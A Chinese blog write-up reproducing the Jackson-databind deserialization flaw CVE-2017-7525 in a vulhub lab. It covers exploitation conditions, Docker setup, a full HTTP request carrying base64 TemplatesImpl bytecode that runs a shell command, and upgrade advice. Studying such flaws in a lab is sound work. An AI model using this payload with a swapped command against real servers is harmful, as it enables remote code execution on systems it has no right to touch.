1.漏洞出现的原因
Jackson-databind 支持 Polymorphic Deserialization 特性(默认情况下不开启),当json字符串转换的Target class中有polymorph fields,即字段类型为接口、抽象或Object类型时,攻击者可以通过在json字符串中指定变量的具体类型(子类或者接口实现类,)来实现实例化指定的类,借助某些特殊的class,如TemplatesImpl,可以实现任意代码执行。
所以本漏洞利用条件如下
1.开启JacksonPolymorphicDeserialization,即调用以下任意方法
objectMapper.enableDefaultTyping();
// default to using DefaultTyping.OBJECT_AND_NON_CONCRETE
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
2.Target class需要无参constructor
3.Target class中需要有字段类型为interface、abstract class、Object
2.漏洞编号: CVE-2017-7525
3.受影响的版本:
FasterXML jackson-databind 2.x < 2.9.10.8
4.危害:
可以利用漏洞实现远程代码执行,危害性极大
5.区分 Fastjson 和 Jackson
{"name":"S", "age":21}
1
{"name":"S", "age":21,"agsbdkjada__ss_d":123}
1
这两个fastjson都不会报错,而jackson会报错,因为Jackson 因为强制 key 与javabean 属性对齐,只能少不能多 key,所以会报错。
6.漏洞复现
1.环境搭建 在ubuntu中搭建的vulhub靶机
cd /root/vulhub/jackson/CVE-2017-7525
docker-compose build
docker-compose up -d
访问网址:http://192.168.187.133:8080
在ubuntu中进入docker容器:
docker ps
docker exec -it 870b59844561 /bin/bash
cd /tmp
ls
利用原理
Jackson-databind 在设置 Target class成员变量参数值时,若没有对应的 getter 方法,则会使用 SetterlessProperty 调用 getter 方法,获取变量,然后设置变量值。当调用 getOutputProperties()方法时,会初始化 transletBytecodes 包含字节码的类,导致命令执行,具体可参考 java-deserialization-jdk7u21-gadget-note 中关于 TemplatesImpl 的说明。
使用burpsuit发送如下请求,将会执行touch /tmp/prove1.txt
:
POST /exploit HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 1298
{
"param": [
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
{
"transletBytecodes": [
"yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9iMW5nei9zZWMvbW9kZWwvVGFyZ2V0OwEACGdldFBhcmFtAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAhzZXRQYXJhbQEAFShMamF2YS9sYW5nL09iamVjdDspVgEAClNvdXJjZUZpbGUBAAtUYXJnZXQuamF2YQwABwAIDAAFAAYBABpjb20vYjFuZ3ovc2VjL21vZGVsL1RhcmdldAEAEGphdmEvbGFuZy9PYmplY3QBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAZAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAGwAcCgAaAB0BABV0b3VjaCAvdG1wL3Byb3ZlMS50eHQIAB8BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAhACIKABoAIwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACUKACYAFAAhAAMAJgAAAAEAAgAFAAYAAAAEAAEABwAIAAEACQAAAC8AAQABAAAABSq3ACexAAAAAgAKAAAABgABAAAABgALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAkAAAAvAAEAAQAAAAUqtAACsAAAAAIACgAAAAYAAQAAAAoACwAAAAwAAQAAAAUADAANAAAAAQAQABEAAQAJAAAAPgACAAIAAAAGKiu1AAKxAAAAAgAKAAAACgACAAAADgAFAA8ACwAAABYAAgAAAAYADAANAAAAAAAGAAUABgABAAgAGAAIAAEACQAAABYAAgAAAAAACrgAHhIgtgAkV7EAAAAAAAEAEgAAAAIAEw=="
],
"transletName": "a.b",
"outputProperties": {}
}
]
}
成功创建prove1.txt文件
修复方案
官方将在新版本中通过扩展黑名单的方式来修复该漏洞,受影响的用户请尽快升级到新版本进行防护。
另外,未来Jackson-dababind的最新主要版本(3.x)将使用新的API,该API layer可以提供一种基于白名单的序列化方式来处理多态类(polymorph classes),以此解决该系列漏洞。
参考链接:
https://github.com/FasterXML/jackson-databind/releases
http://blog.nsfocus.net/cve-2017-7525/
https://blog.csdn.net/xuandao_ahfengren/article/details/106805679
声明:
本文仅限于大家技术交流和学习,严谨读者利用本博客的所有知识点进行非法操作。如果你利用文章中介绍的技术对他人造成损失,后果由您自行承担,感谢您的配合,
作者创作不容易,请大家点赞支持一下。谢谢各位读者大老爷。